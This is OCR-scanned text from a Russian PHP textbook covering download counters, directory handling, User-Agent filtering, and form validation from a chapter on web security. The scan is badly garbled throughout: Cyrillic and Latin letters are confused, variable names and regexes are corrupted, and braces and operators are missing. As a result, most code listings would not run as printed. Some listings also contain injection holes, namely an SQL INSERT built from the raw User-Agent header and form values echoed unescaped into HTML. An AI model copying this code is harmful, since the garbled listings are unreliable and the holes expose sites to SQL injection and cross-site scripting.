Заполняем ма ссив $count нулевыми значениями foreach ($file_name as $file ) $count [$file ] = О; // Создаем статистический файл $fd = fopen ($countname , "w ") ; // Упаковываем ма ссив fwr ite ($fd, serialize ($count) );
глава 4. "Хитрости " РНР - ?> fclose ($fd ) ; / / проверяем, не передано ли значение параметра down // методом GET i f(is set ( $_GET ['down '])) } / / Проверяем, входит ли значение параметра $_GET ['down' ] // в массив $file пате i f(i n_a rray ( $_GET ['dOWn' ],$ file_name )) // Регистрируем факт загрузки файла // Увеличиваем значение счетчика с ключом // $_GET ['down' ] на единицу $count [ $_GET ['down' ] ] ++ ; // Пере записыв аем файл счетчика $fd = fopen ($countname , "w ") ; // Упаковываем ма ссив fwrite ($fd, serialize ($count) ); fclose ($fd) ; // Предоставляем ссылку на его загрузку header ("L ocation : $_GET [down ] ") ; // Выводим ссылки на файлы foreach ($file_name as $file) echo "Файл <а href=$_;>ERVER [PHP_SELF] ?down=$ file>$file</a> был загружен ".$count [$file ] ." раз<Ьr> "; 309 Имена загружаемых файлов хранятся в массиве $file_name ; добавление но­ в о го архива учитывается в систе ме автом ати чески. Предварител ьная регист­ рация в массиве необходима по нескольким причинам . Во-первых, принимая и м я массива через параметр down, необходимо проверить, входит ли он в Ч и сло файлов, разрешенных к загрузке . Во-вторых, обрабатывать имена фай­ ло в в масс иве гораздо удобнее. Так, массив $count, В котором хран ится ко-
_ з _ 1 _ 0 ______________________________________________ ч _ а _ сm __ Ь _ I _ . _ О _ б _ щ � u _ е _ в _ о _ п � р � о � � личество загрузок файлов, строится автоматически на основании массива за­ регистрированных в системе файлов; этот массив удобно упаковывать п р и помощи функции serialize () в строку, а затем распаковывать обратн о в массив при помощи unserialize () . Как видно из листинга 4. 16, скриптом обрабатывается первый запуск, когда отсутствует файл filecoul1t.txt -- он автоматически создается при первой за­ грузке страницы, инициированный нулевыми значениями дл я каждого файла из массива $file_name . 4.8. Кол и чество файлов в каталогах Создади м скрипт, позволяющий выводить список поддиректорий в те ку щей директории и коли чество файлов в них. Для каждой поддиректо рии та ЮI<е должен выводиться список поддиректорий. Для решения дан ной задачи удобно воспользоваться рекурсивным спуском (функцией, которая вызывает сама себя). Для каждой из директорий функция читает ее содержимое и уве­ личивает значение счетчика, если очередной элемент является файлом, и вы­ зывает сама себя, если очередной элемент оказался поддиректориеЙ. Для открытия директории используется функция opendi r (), которая имеет следующий синтаксис: int opendi r($path) Функция открывает директорию с именем $path и возвращает ее дескрипто р, который далее испол ьзуется во всех остальных функциях. После то го как ди­ ректория открыта, ее можно прочитать функцией readdi r (), которая имеет следующий синтаксис: string readdir ($di r) В качестве параметра функция принимает дескриптор $dir, который был ра­ нее получен при помощи функции opendir ( ), и при каждом последующем вызове возвращает очередной элемент директории до тех пор, пока они не будут полностью исчерпаны (в этом случае функция возвращает fal se) . Как правило, вызов функции осуществляется в цикле wh ile ( ) . Кроме файлов и папок в директориях находятся также эл ементы ". " и " .. " : первый из них указывает на текущую директорию, а второй -- на родитель­ скую. Текущую директорию, кстати, можно открыть, указав ее имя как ".": $dir = opendir (".") ;
(пава 4. "Хитрости" РНР -- 311 посл е того как работа с директорией закончена, ее нужно закрыть при по­ м ощи функции closedir (), которая имеет следующий синтаксис: closedir ($dir) В л исти нге 4. 17 приведен скрипт, позволяющий вывести содержимое теку­ щей директории. листин( 4.17 . ВЫВОД списка файлов директории <?php ?> / / Открываем директорию $dir = opendir( .. . .. ); / / в цикле выводим ее содержимое while (($file = readdir ($di r) ) !== false) echo "$file<br>"; / / Закрываем директорию closedir ($di r) ; При просмотре директории необходимо явно проверять успешность опера­ ции $ file = readdi r ($dir ) , так как есл и файл или поддиректория называет­ ся " О " ил и любым другим именем, начинающимся с нуля, то возвращаемое фун кцией readdi r () имя может быть истолковано как false. Вм есто использования комбинации функций opendir () и readdi r () имена файлов и директорий можно также получить при помощи функции scandir () : array scandir ($dir [ , $sorting_order] ) Эта функция возвращает массив, содержащий имена файлов и поддиректорий, расположенных в директории $dir. Необязател ьный параметр $sort ing_o rder указывает, в каком порядке должна проводиться сортировка элементов масси­ ва. По умолчанию сортировка производится в алфавитном порядке по возрас­ тан ию. Есл и указан необязател ьный параметр $sorting_o rde r, равный 1, сор­ тиро вка производится в алфавитном порядке по убыванию. В листинге 4. 18 приводится окончател ьное решение для задач и подсчета ко­ л и чества файлов в поддиректориях. Листинг 4.18. Количество файлов в директории <?php 1/1 /////// 1 //1 //////////////////////////////////////////// 11 Рекурсивная функция - спускаемся вниз по директории 1 1 1//////////1 //////1 /////////////////////////////////////
312 Часть 1, Общие вопрось/ function scan_di r($dirname ) // Открываем текущую директорию $dir = opendir ($dirname) ; / / Читаем директорию в цикле wh ile (($ file = readdir ($di r) ) !== false) // Пр оверяем, не равно ли значение переменной // $file текущей или вышележащей директории if ($file != 11 " && $file != 11 ,,11 ) // Если перед нами директория , вызываем рекурсивно // функцию scan_dir if (is_dir ("$dirname/$file") ) echo "$dirname/$file - 11, file_count ("$di rname/$file") . "<br>" ; scan_d ir ("$dirname/$file") ; // Закрываем директорию closedir ($dir) ; } ////////////////////////////////////////////////////////// // Функция, вычисляющая количество файлов в директории ////////////////////////////////////////////////////////// fun ct ion file_count ($dirname ) // Переменная для подсче та $count = О; // Открыв аем директ орию $dir = opendi r($di rname) ; / / Считываем ее содержимое в цикле whi le ( ($file readdir ($di r) )) // Если текущий объект является файлом - считываем его if ( is_fi le ("$dirname/$file") ) ++$ count ; -
глава 4. ''Хитрости '' РНР - ?> / / Закрываем директорию c losedir ($dir) ; rеturп $соuпt; / / имя директории $ dirпamе = "scripts "; / / Вызов функци и , осуще ствляющей рекурсивный спуск / / п о поддиректориям корневой директории sсап_dir($dirпamе ) ; Резул ьтат работы скрипта из листи нга 4. 18 представлен на рис. 4 .5. SС1'iрtsNепitеSресtatum/аdшin - 14 sсriрts/'/еuiteSресtatuш/аdmiн/tiрs - 4 scripts/VеuitеSресtаtшn/саt - 6 scriptsNelliteSpectatum/cat/i mg - 3 sCl'iptsNelliteSpectatum/img - 5 sсriрtsNеuitеSресtatuш/lug - 2 sсriрts/VепitеSресtatl lш/ tmр-1 scripts/vie\v - 1 sCli.pts/\valist_line - 6 . . Рис. 4.5 . ВЫВОД списка поддиректорий и файлов директо рии 4.9. Копирование содержи м о го од ной директории в другую 313 Директория может содержать поддиректории произвольной степени вложе н­ ности, поэто му дл я решения данной задач и, как и в предыдущем случае, не­ об ходи мо воспользоваться рекурсивным обходом директории (л исти нг 4. 19).
314 Часть 1. Общие вопросы Листинг 4.19. Копирование содержи мого одной директории в другую <?php ?> // Копируем содержимое директории horne в horne2 lowering ("horne ", "horne2 ") i ////////////////////////////////////////////////////////// // Рекурсивная функция спуска ////////////////////////////////////////////////////////// funct ion lowering ($dirnarne , $dirdestination) / / Открываем директорию $dir = opendir($dirnarne) i / / Выводим ее содержимое в цикле while (($ file = readdir ($dir) ) !== false) echo $file . "<br>" i if (is_file ("$di rnarne/$file") ) сору ("$dirnarne/$fi le . " , . "$dirdestination/$file" ) i // Если это имя директории - создаем ее if (is_d ir ("$di rnarne/$file") && $file != "." && $file != " ..") // Создаем директорию if ( !rnkdir ($dirdestination . " /" . $file) ) echo "Can't create $dirdestination/$file"i // Вызываем рекурсивно функцию lowering lowering ("$dirnarne/$file" , "$di rdestination/$file" )i / / Закрыв аем директорию closedir ($dir) i -
гл ава 4. ''Хитрости '' РНР ;.- -- 4.1 0. Удаление дире кто рии 315 удалить директо рию можно с помощью ФУН КЦИИ rmdir (), кото рая имеет следующий синтаксис: boo1 rmdir ($dirname) ФуН КЦИЯ принимает имя директории $dirname И возвращает true В случае ее удач н ого удаления и false - при неудаче (листинг 4.20). листинг 4.20. Удаление директории <7php i f(rmdir ("c: /temp/test") ) есhо ( "ДИректория успешно удалена" ) ; else e cho ("Ошибка удаления директории" ) ; 7> Фун кци я rmdir () удаляет тол ько пустые директории. Для удал ения непусто й директории необходимо предварительно удал ить все содержащиеся в ней файлы, как это показано в листи нге 4.21. Л истинг 4.21 . Удаление директории со всем содержимым < 7php // Рекурсивная функция удаления директории / / с проиэволь ной степенью вложенности funct ion ful l_del_di r($di rectory ) $di r = opendir ( $directory) ; while ( ($file readdir ($dir) ) ) // Если функция readdir () вернула файл - удаляем его if (is_file ("$directory/$file") ) unlink ("$ directory/$file" ) ; // Если функция readd ir () вернула директорию и она // не равна текущей или родитель ской - осуществляем // для нее рекурсивный вызов ful l_del_di r() else if (is _d ir ("$di rectory/$file") && $file != "." && $file != " ..") ful l_del_dir ("$directory/$file") ;
31б ?> closedir ($dir) ; rmd ir ($directory) ; есhо ( "ДИректория успешно удалена ") ; 11 Удаляем директорию temp ful l_del_di r ("t emp" ) ; Часть 1. Общие вопр ось/ - Для удаления директории со всем содержимым необходи мо осуществ ить ре­ курсивный спуск, удаляя перед использованием функции rmdir () все файл ы при помощи функции unl ink ( ) . 4.11 . Случай ное изображение из директории Перед выводом случайного изображения из директории необходимо помес­ тить имена всех файлов в массив $filename . Тогда задача вывода случайного изображения сведется к задаче случайного вывода из массива (листинг 4.22). Л�ТИ НГ 4.22, Случайный ВЫВОД из ди ректории <?php 11 Путь к каталогу $path = "путь к директории_назначения/ "; 11 Открыв аем каталог $dir = opendir ( $path ) ; 11 Читаем содержимое директории wh ile ((($file = readdir ($di r) ) !== fa lse) ) 11 Если текущий объект являе тся файлом, 11 помещаем путь к нему во временный ма ссив $filename [] = $path .$file ; 11 Закрыв аем директорию closedir ($di r) ;
глава 4. "Хитрости " РНР - 7> / / получа ем случайный индекс из массива $index = rand (O, count ($filename ) - 1) ; / / выводим случайный файл e cho " <img src=" . $filename [$index ] . ">" ; 317 Для случайного вывода из мас сива используется функция rand ( ), которая имеет следующий синтаксис: int rand ( [$min, $тах] ) функция возвращает случайное значение в интервале ( $min, $ тах). Если не­ обязател ьные параметры $min и $тах не передаются, то функция воз вращает случайное значение в интервале от О дО RAN D_ МАХ. При помощи функции rand () в листинге 4.22 выбирается случайный индекс массива $filename - $index. 4.12. Определение разм ера фай ла Разм ер файла можно определить при помощи функции filesize (), которая и меет следующий с интаксис : int fi lesize ($filename ) Данная функция возвращает размер файла $filename в байтах. Это может быть не всегда удобно. Разработаем дополнител ьную функцию get filesi ze (), которая принимает в качестве единственного аргуме нта имя файла и возвращает его размер в байтах, килобайтах или мегабайтах. Е сли размер файла меньше 1024 байт - функция воз вращает размер в байтах, ес­ ли размер меньше 1024 Кбайт - объем файла оценивается в килобайтах, ес­ ли превышен порог в 1024 Кбайт - оценка идет в мегабайтах. Реализация функции представлена в листинге 4.23 . Л истинг 4.23. Определе н ие размера файла <?php // имя файла $ fil ename = "text .txt "; / / Вызов функци и echo get filesize ($filename) ; // фун кция определения размера файла fun ct ion getfilesize ($filename )
318 Часть 1. Общие вопр ось/ ?> // Пр оверяем, существует ли файл if (!file_ex ists ($filename) ) return "Файл не существует "; // Определяем размер файла $filesize = filesize ($filename) ; // Если размер файла превышает 1024 байта , // пересчитываем размер в килобайты if ($filesize > 1024 ) $filesize = (float ) ($filesize/ 1024) ; // Если размер файл превышает 1024 кил обайта , // пере считываем размер в ме габайты if ($filesize > 1024 ) $filesize = (float ) ($filesize/ 1024) ; // Округляем дробную часть / / до первого знака после запятой $filesize = round ($files ize, 1) ; return $filesize . " Мб "; else else / / Округляем дробную часть // до первого знака после запятой $filesize = round ($files ize, 1) ; return $filesize . " Кб " ; return $filesize ." байт "; - Как видно из листинга 4.23, скрипт принимает в качестве параметра и мя файла и последовател ьно проверяет, не превышает ли объем файла, возвра­ щенный функцией filesize (), 1 Кбайт, затем 1 МбаЙт. В каждом из случ а ев возвращается соответствующий результат.
глава 4. 'Хитрости " РНР 319 - 4.1З. П редотв ращение загрузки страниц в предыдущем разделе была рассмотрена задача учета кол и чества загрузок файлО В с сервера. Загруз ка файлов часто поощряется владел ьцами ресурсов, так как регулярное обновление библиотеки файлов является существенным стимулом для посетител ей возвращаться на саЙт. Друго е дело - информационные материалы, размещенные на саЙте . Их за­ грузка при помощи файловых менеджеров закачек является нежел ател ьной, та к как при это м не происходит просмотр рекламы, за счет которой, в основ­ н о м, и существуют ресурсы, и не растет рейтинг сайта, так как посещения его различными роботами и менеджерами закачек относится к незасчитан ным хитам. Проблема является очень серьезной для бесплатного хостинга, где владел ец ресурса долже н выдерживать определенное соотношение между п росмотром рекламы его посетителями и создаваемым ими трафиком. Ситуация усугубляется при динамическом формировании содержимого сай­ та, когда ад рес ресурса представляет собой строку вида http://www. site. ru?id_art =Ol (0 2, ... 99) . Такого рода ресурсы являются иде­ ал ьной мишенью, так как позволяют легко сформировать пакетное задание для загрузк:и всего саЙта. Кроме менеджеров, позволяющих полностью ил и частично загрузить сайт, нем алый процент посещений составляют различные "роботы ". Зачастую они выпол няют полезные функции, в частности, собирают статистическую ин­ формацию для поисковых систе м, но могут похи щать с чужих сайтов раз­ л ичную информацию и авто мати чески размещать ее на сайте своего "хозя и­ н а" . Нужно определенное искусство для отдел ения запросов, работающих на ресурс и против него . Ал горитм предотвращения загрузки страниц менеджерам и закачек и робота­ ми очень прост: необходимо разрешать загрузку брау зерам пользователей и запрещать остальным многочисленным "посетителям" саЙта. ЗАМЕЧАНИЕ П роцент " посетител ей-небраузеров" может быть значительным. В зависи­ мости от содержи мого ресурса он колеблется в районе 20%. Определ ить, кем является посетител ь, можно путем анализа переменной ок­ ружения $_SERVER [ ' нтт р_USER_AGENT ' J, содержащей строку, возвращаемую брау зером клиента. В состав этой строки входит информация о ти пе и версии браузера и операционной системы посетителя.
320 Часть 1. Общие в опросы - Вот типичное содержание это й строки: "Mozilla/4 . О (comp at ible ; MSIE: 6 .0; Windows NT 5.1) ". Наличие подстроки " MS IE 6.0" говорит о том, что посетител ь просматривает стран ицу при помощи IпtеГl1еt Ехр lогег версии 6.0 . Строка " Windows NT 5.1" сообщает, что в качестве операционной систе м ы испол ьзуется Windows ХР. ЗА МЕЧА НИЕ Для Windows 2000 переменная окружения $_SERVER [ 'нттр_USER_AGENT ' ] выглядит следующи м образом: "Mozilla /4 .0 (comp atible ; MS IE 5.01 ' Windows NT 5.0) ')" , в то время ка к для Windows хр - "Mozilla/ 4.; (comp atible ; MS IE 6 .0; Windows NT 5.1) ". Есл и посетител ь пользуется браузером Opera, то содеРЖИМое $ SERVER [ 'нттр_USER_AGENT ' ] может выглядеть следующим образо м : " Mozi11a/4 .0 (comp atible; MSIE 5.0; Windows 98) Opera 6.04 [ru ] " . Подстрока "MSIE 6 . о " здесь таюке присутствует, сообщая , что браузер Opel'a совместим с браузером lпtеrпеt Exp lorer и использует те же динамичес кие библ иотеки Windows . Поэто му при анализе стр оки, возвращаемой браузером , следует иметь в виду, что к Il1tеrпеt Explorer относится строка, содержащая подстроку " MS IE 6.о " и не содержащая подстроки " Opera" . Кроме то го, из данной строки можно заключить, что пользователь испол ьзует операцион­ ную систему Windows 98. При использовании браузера Netscape содержание переменной $ SERVER [ 'нттр_USER_AGENT ' ] может выглядеть сл едующим Qбразом: " Mo zilla/5 .0 (Xll; U; Linux i686; en- US ; rv : 1.4) Gесkо/200З0624 Netscape /7 .1" . Принадлежность к этому браузеру можно определ ить по на­ личию подстроки " Netscape" . Кроме того, можно узнать, что посетител ь вы­ ходит в Интернет, используя операционную версию Lil1ux с ядром, оптим и ­ зированным под Репtium 4, находясь в граф ической оболочке X-Wil1dow. Этот механизм удобно испол ьзовать для сбора статистической информации, которая позволяет дизайнерам оптимизировать страницы под наиболее рас­ пространенные браузеры. Таким образом, запрет загрузки страницы можно легко осуществ ить, остан о­ вив выполнение скрипта РНР, если содержимое переменной окруже н ия HTT P_U SER_AGENT нас по каким-то причинам не устраивает (л истинг 4.24). Листинг 4 .24. Запрет на загрузку стра ницы браузером <?php // Если в переменной окружения нттр USER AGENT передаваемой браузером
глава 4. ''Хитрости '' РНР -- / / при сутствует что-либо , напоминающее слово Windows , остановить / / выполнение скрипта i f ( s trpos ($_SERVER [ 'HTTP_USER_AGENT' ] , "Win" ) !==false) exit () i ?> 321 разу меетс я, так следует поступать очень осторожно и не действовать по п ри н ципу "все что не разрешено - запрещено", как это продемонстрировано в листинге 4.24. Не стоит сразу же запрещать посещение стран ицы роботом, кото ры й кажется подозрительным: например, поисковые роботы всегда ра­ ботают во благо ресурса, позволяя посетителям быстро находить ваш ресурс . ЗАМЕЧАНИЕ В англоязычной литературе робото в часто называют Web-spideгs (Web­ пауки). Если страницы сайта посещаются роботами поисковых систем, по стр оке $_ S ERVER [ , HTTP_USER_AGENT '] можно определить их принадлежность. Ниже п ере числ ены строки, которые обычно возвращают наиболее известн ые поис­ ковые роботы: L1 " StackRarnbler/2 . о " или "StackRambIer/2 .0 (MSIE il1compatibIe)')" ­ Ram bIer; L1 " Yandex /l .01.001 (comp atible i Wiп1 бi I) "-один из поисковых робо­ тов Yal1dex; L1 " Googlebot !2 . 1 (+http : //www . googlebot . com/bot . html ) " - Google; D "Aport" - Aport. ЗА МЕЧАНИЕ Если необходимо, чтоб ы поисковые роботы не индексировали часть стра­ ниц вашего ресурса (внутренние форумы, стра ницы адм инистрирования , служебную информацию), не следует прибегать к вышеописанному спосо­ бу; в этом случае следует использовать штатн ые средства сервера Apache, описанные в главе 1 , или разместить в заголовках ННТР-документа строку <МЕТА NAМE= "robots" CONTENT= "noindex ">. Интер есно содержимое $_SERVER [ 'НТТР_USER_AGENT ' ] поискового робота Google: в нем приводится адрес, где можно ознакомиться с задачами поиско­ вого робота. Это достаточно распространенная практика. Вот несколько примеров роботов: D mSl1botlO. l1 (+http ://searcI1 .msl1.com/msl1bot.htm);
322 Часть 1. Общие вопрось/ - CI SuгveyBotl2 .3 (WllOis Source); CI LWР::Siшрlе/5.50. Приведем несколько примеров строк, возвращаемых серверу менедже рам и закач ки, кото рые можно считать кандидатами на запрет: CI Teleport Pro/l . 29 - один из популярнейших менеджеров закач ки , позволяющий выкачать сайт с сохранением его структуры; CI CI CI CI CI CI Download Master; GetRight / 4.з; FlashGet; ia_archiver; ОА 5.о; ia archive r. ЗАМЕЧАНИЕ Описываемый в данной главе способ борьбы с нежелател ьной зака чкой со­ держи мого сайта при помощи менеджеро в не является универсальным. Так ка к строку $_SERVER [ , HTTP_U SER_AGENT '] формирует клиентская сторо на , а тем более менеджер, цель которого во что бы то ни стало скачать страницу, она часто подделывается или просто остается пустой. Та к, стр ока "M ozilla/4 . 04 [en] (Win95; 1; Nav ) " , якобы относящаяся к посетителю с операционной системой Windows 95, является на самом деле некогда рас­ про страненным менеджеро м NetVampire. Тем не менее, предложенный спо­ соб позволит оградить ваш сайт от неискушенных пользователей . Не следует использовать именно эти строки для запрета. Сначала нужно в ыяс­ нить, есть ли вообще проблема, связанная с использованием менеджеров и ка­ кими именно менеджерами злоупотребляют посетители. ДrIя этого необходимо собрать статистику, создав ловушку в начале каждого файла, фиксирующую переменную окружения HTT P_U SER_AGENT каждого из посетителей с сохранени­ ем ее в файле или базе данных, как это продемонстрировано в листинге 4.25 . Листинг 4.25. Сохранение переменной окружения нттр_USER_AGENT В базе данных <?php mysql_que ry ("INSER INTO useragent VALUES (о, ' $_SERVER [HTTP_U SER AGENT ] , ) ; ") ; ?>
гла�а 4. "Хитрости " РНР - 323 Таблица useragent создается при помощи SQL-запроса, приведенного в лис­ тинге 4.26. листинГ 4.26 . SQL-запрос на созда н ие табл ицы для хранения $RTTP_ USER_AGENT сRБАТЕ TAВLE useragent VALUES ( ); id_hitfile INT (ll) NOT NULL AUTO_INCREМENT , us ragnt TINYTEXT ; При жел ании в табл ицу useragent можно добавить поля дл я времени запроса и адреса страницы. Анализируя дамп базы данных или создав соответствую­ щую страницу администрирования, всегда можно быть в курсе того, кто по­ сещает ресурс.
ГЛАВА 5 Безопасность создаваемых WеЬ-приложений в это й гл аве рассмотрены вопросы безопасности создаваемых Web-прил о­ жений. Безопасность в среде Интернет включает в себя много разл ичных ас­ пекто в, таких как система защиты Web-сервера; безопасность баз да нных; проверка данных, вводимых пользователями; приемы и методы шифрова н и я идр. ЗА МЕЧА НИЕ Более подробно вопросы б езопасности обсуждаются в нашей книге "Голо­ воломки на РНР для хакера" . 5.1 . Проверка корректности данных, вводим ых пол ьзователем Проверке корректности данных, вводимых посетител ем, необходимо уделять большое внимание. Любая информация, отправляемая с кл иентской машины , может быть подвергнута фальсификации (см. главу 3) и содержать не только заведомо ложную информацию, но и зловредный код . 5.1 .1 . П роверка обязател ь ности ввода пол я НТМL-формы отсылают обработчику данные либо методом GET, либо мето­ дОМ POST, в зависимости от того, какое значение принимает атрибут me thod
гл а в? 5. безопасность создаваемых We b-прuложенuй - 325 тега < f orm>. Интерпретатор РНР помещает значения полей НТМL-формы C OOTBeIГCTB eHHO либо в масс ив $_GET, либо в массив $_POST. Пусть и меется НТМL-форма, которая имеет два текстовых поля для имени пол ьзователя пате И его электронного адреса email, размещае мая в файле index.pl1P (листинг 5 . l). л истинг 5.1 . Файл index.php <form a ction=handler . php method=post> имя : <input type=text naтe=naтe ><br> e-mail : <input type=text naтe=ema il><br> < input type=submit vаluе=Отправить> </form> Как видно из листинга 5 . 1, помимо тексто вых полей НТМL-форма содержит кн о п ку типа submi t, нажатие на которую приводит к отправке дан ных обра­ ботчи ку i1andler.pi1p. Так как данные отправляются обработчику методом POST, то получить содержи мое те ксто вых полей пате И email в файле Ьаl1- dler. p l1 p можно, обратившись к соответствующим элементам суперглобаль­ ного массива $ POST [ 'пате" ] И $ POST[ 'email' ] . Про верить, заполнены текстовые поля или нет, РНР позволяет при помощи од но й из двух функций: empty () И isset () . Функция empty () возвращает true, есл и переменная не существует или пустая, в противном случае воз­ вращается fa lse. Конструкция isset () возвращает true, если переменная существует, и false - в противном случае . Таким образом, есл и тексто вое поле пате В НТМL-форме из листинга 5 . 1 яв­ ля ется обязательным для заполнения, то Qледует проверить, содержит ли оно какие-л ибо символы при помощи функ ции empty () (л истинг 5 .2) . Листинг 5.2. Использование функции empty () < ?php // Выс тавляем ур овень обработки ошибок error_reporting ( E_ALL & -E_NOT ICE ); // Проверяем, передано ли значение поля пате i f (empty ($_POST ['пате'] ) ) // Если переменная $пате не установлена , просим повторить ввод имени
326· Часть 1. Общие вопр ос!,/ -- - ?> echo "Не введено обязатель ное для заполнения поле name <br> "; echo "<а hre f=# onClick= 'history . back () '>Вернуться к правке</а>" ; exit () ; // Производим обработку данных НТМL- формы Если эл емент суперглобального массива $_ POST [ , пате ') пуст, следов ател ь_ но, обязател ьное поле пате не было заполнено, что приводит к выводу В Окно браузера предупреждения и ссылки возврата, реализованной при п о мощи функции JаvаSсгiрt history . back () . Запретить пользовател ю ввод пробел ьного символа можно, пропустив значе­ ние эл емента суперглобального массива $_POST [ 'пате' ] через функци ю trim(), кото рая удаляет из стр оки начальные и завершающие пробел ьные символы (л истинг 5.3). Листинг 5.3. Уд аление про6ельных символов при по мо щи функци и trl.m () <?php ?> // Выставляем ур овень обработки ошибок error_reporting ( E_ALL & -E _N OT ICE ); // Удаляем пробель ные символы в начале и конце строки $_POST ['name' ] = trim ( $_POST ['name' ]); // Если значение переменной пусто , выводим сообщение об ошибке if (empty ( $_POST ['name' ))) } // Если переменная $пате не установлена , просим повторить ввод име ни echo "Не введено обязательное к заполнению поле name<br> "; echo "<а href=# onClick= 'history . back () '>Вернуться к правке< /а>"; exit () ; // Производим обработку данных НТМL-формы Конструкция isset ( ) позволяет проверить, существует ли переменная ил и элемент массива вообще. Она не может использоваться в предыдущих при ­ мерах, так как переменная даже со значением пустой строки считается суще­ ствующей . Использование конструкции isset () больше подходит дл я обра­ ботки флажков: элемент суперглобального массива для флажка ( checkbox )
гл а ва 5. Безопасность создаваеМblХ We b-пр uложенuй - 327 устан авливается только в том случае, есл и флажок отмечен, в проти вном случае элемент дл я флажка в суперглобал ьном массиве не создается . В лис­ тинге 5.4 приводится пример НТМL-формы, которая содержит тол ько два флажка ( checkbox) , значение которых проверяется в обработчике при помо­ щи конструкции isset (). ЗА МЕЧА НИЕ Следует обратить внимание на то , что , в отличие от НТМL-формы из лис­ ти н га 5.1, в листи нге 5.4 НТМL-форма и ее обработчик находятся в од ном файле. Обработчик вступает в действ ие тол ько тогда , когда суперглобаль­ н ы й массив $_POST содержит хотя бы од ин элемент. Последнее проверяет­ ся при помощи функции ernpty (). Листинг 5.4 . Испол ьзование конструкции isset () <?php ?> // Выставляем уровень обработки ошибок error_reporting (E_ALL & -E _NOT ICE ); $chl = $ch2 = ""; if (isset ($ POST ['ch l'])) echo "Первый флажок отмечен<Ьr>" ; $ chl = "checked" ; if ( isset ($_POST ['ch2'])) echo " В торой флажок отмечен<Ьr>"; $ch2 = "checked"; <forrn rnethod=post> <input type=checkbox narne=chl <?= $chl ; ?» первый флажок<Ьr> <input type=checkbox narne=ch2 <?= $ch2 ; ?» второй флажо к<Ьr> <input type=subrnit vаluе=Отправить > </forrn>
328 Ча сть 1. Общие вопрось/ - Впрочем, в листи нге 5.4 вместо конструкции isset () вполне можно испол ь­ зовать функцию empty ( ) . 5.1 .2. Проверка числовых значений Проверка корректности ввода чисел является важной задачей. Часто Web­ разработчики наивно полагают, что в НТМL-ф ормы, предназначенные для ввода чисел, пользователи не будут вводить ничего. Однако вместо чисел мо­ жет быть введен текст и целые мини-программы деструктивного действия , приводящие в лучшем случае к сбою работы скрипта, а в худшем - к взлому . Если поле предназначено для ввода тол ько цел ых чисел, то сам ым просты м способом обезопасить скрипт является обработка вводимого значения при помощи стандартной функции intval (), которая приводит любой аргумент к целому числу (или к О, если это невозможно) (л истинг 5.5). Листи нг 5.5 . Использован ие функции intva l () <?php ?> // Приводим РОSТ-параметр numbe r к целому числу $_POST ['number' ] = intva l ($_POST [ 'number ' ]); Однако приведение параметра к целому типу не всегда приемлемо - зачас­ тую требуется указать пользователю на ошибку. Для этого удобно восполь­ зоваться регулярными выраже ниями. ЗАМЕЧАНИЕ Регулярным выражениям посвящено пр uложенuе 4. Для проверки цел ых чисел в регулярных выражениях введен специальный класс \d. Кроме это го, необходимо явно указать начало (л) И конец строки ($), иначе выражение будет срабатывать лишь на одну цифру, помимо кото­ рой в строку можно будет поместить все, что угодно, - регулярное выраже­ ние найдет цифру и проигнорирует все остал ьное. Привязка к началу и концу строки позволяет избежать этого: " IЛ[\d]*$I" Обработка числа с плавающей точкой состоит из нескол ь ких частей. Целой части числа соответствует рассмотренное в предыдущем разделе выражен ие
глава 5. Безопасность создав а емых We b-пр uложенuй - 329 " [\d]*" . После точки, которую необходимо экранировать, следует дробная часть, таюке описываемая выражен ием " [\d] * " . Теперь, объединяя фрагмен­ ТЫ, мы можем получить шаблон для чисел с плавающей точкой ­ " I Л[\ d] * \. [\d ]*$ I " . Завершающим штрихом будет учет разного формата раздел ителя целой и дробной части , в кач естве которого может выступать ка к точка (23 .56), так и запятая (23,56) - для учета чисел в обоих форматах регулярное выраже ние следует изменить следующим образом : " 1л[\d]*[\. , ] [\d]*$1" . Однако такое выражение не позвол ит вводить цел ые ч исл а , которые являются частным случаем чисел с плавающей точкой. Чтобы это ис править, необходимо добавить символ ? после кл асса [\. , ] . " 1л[\d]*[\., ]?[\d]*$1" В листинге 5.6 приводится пример НТМL-формы, принимающей цену price и кол и чество то вара number. Поле price принимает числа с плавающей то ч­ ко й, а поле number - целые значения. Л истинг 5.6 . Проверка чисел на корректность <form rne thod=post> Количество <input sizе=БО type=text narne=number value=< ?= $_POST ['numbe r ']; ?» <br> Цена <input sizе=БО type=text narne=price value=<?= $_POST ['p rice' ]; ?» <br> <input type=subrnit vаluе= ' Пр оверить '> < / forrn><br> <?рЬр ?> // Обработчик НТМL-формы if ( ! ernpty ($_POST) ) { if( !preg_rnatch ("1 л [\d] *$ 1 ", $_POST [ 'number'])) exit ("He верен формат количества товар а" ) ; if(!preg_rnatch("1 л[\d]*[\. , ]?[\d]*$1", $_POST['price'] ) ) { exit ("He верен формат цены" ); есЬо numbe r_fo rrnat ( $_POST ['numbe r' ]*$_POST ['p rice ' ], 2, ,, . , , ');
ззо Часть 1. Общие вon� 5.1 .3. П ров ерка пра в ильн ости запол нения e-mail Проверку правильности заполнения адреса эл ектронной почты также удОб но реализовать при помощи регулярных выражений. ЗА МЕЧА НИЕ Регулярным выражениям посвящено прuложение 4. Буде м исходить из то го, что адрес долже н иметь вид sотеtI1 il1g@sегvег . СОI11. у адреса есть две составляющие: имя пользователя и имя домена, кото р ые разделены знаком @ . в имени пользователя могут присутствовать буквы Н иж­ него и верхнего регистров лати нского ал фавита, цифры, знаки подчеРК ива_ ния, минуса и точ ки . В качестве раздел ителя между именем пол ьзовател я и именем домена в выражение требуется добавить знак @, после чего сл едует доменное имя, которое тоже может состоять из букв нижнего и верхнего ре­ гистра латинского алфавита, цифр, знаков препинания, тире и то чки. Итак . регулярное выражение, проверяющее имя пол ьзователя и наличие раздел ите ­ ля и доменного имени, выглядит следующим образом : "[- О-9а-z_ ]+@ [ - О - 9а-zЛ\ .]+" Для проверки доменного имени первого уровня (.гu, .сот) необходимо доб а­ вить следующее выражение: "\. [a-z] (2,6)" ЗА МЕЧАНИЕ Домены первого уровня могут содержать до 6 символов (например, travel). Причем символ подчеркивания в доменном имени встречаться не может. Символ "." в регулярных выражениях испол ьзуется дл я обозначен ия любого символа, поэто му для поиска соответствия то чки в регулярном выраже нии этот символ экранируется обратн ым сл эшем : "\ .". Объединяя эти стро ки, можно получить следующее регулярное выражение в формате Регl для проверки корректности адресо в эл ектронной почты : " 1[-O -9a-z ]+@[-О -9а-zЛ\.]+\.[a-z](2,6)Ii" ЗА МЕЧА НИЕ Модификатор i в регулярном выражении сообщает интерпретатору, чтоб ы поиск соответств ия ПРОВОДИЛСЯ без учета регистра .
